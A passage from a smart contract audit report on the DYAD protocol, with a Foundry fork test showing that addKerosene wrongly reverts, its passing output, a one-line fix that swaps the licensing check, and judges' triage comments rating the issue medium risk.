vm.expectRevert(); contracts.vaultManager.addKerosene(tokenId, address(contracts.boundedKerosineVault)); } modifier labelContracts() { vm.label(address(contracts.boundedKerosineVault), "Bounded keroseine vault"); vm.label(address(contracts.unboundedKerosineVault), "Unbounded keroseine vault"); vm.label(address(contracts.kerosene), "Kerosene"); vm.label(address(contracts.kerosineManager), "Kerosine manager"); vm.label(address(contracts.kerosineDenominator), "Kerosine denominator"); vm.label(address(contracts.vaultManager), "Vault manager"); vm.label(address(contracts.vaultLicenser), "Vault licenser"); vm.label(address(contracts.ethVault), "ETH vault"); vm.label(address(contracts.wstEth), "WSTETH vault"); vm.label(MAINNET_DNFT, "DNFT"); _; } }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit] └─$ forge test --mt test_AddKeroseneWillNotWork --fork-url https://mainnet.infura.io/v3/<API_KEY> [⠒] Compiling... [⠘] Compiling 1 files with 0.8.17 [⠃] Solc 0.8.17 finished in 1.58s Compiler run successful! Ran 1 test for test/fork/v2.t.sol:V2Test [PASS] test_AddKeroseneWillNotWork() (gas: 215154) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.08s (3.62s CPU time) Ran 1 test suite in 11.83s (9.08s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to do the following changes:
function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); - if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
Error
#0 - c4-pre-sort
2024-04-28T04:36:04Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:37:14Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:07Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)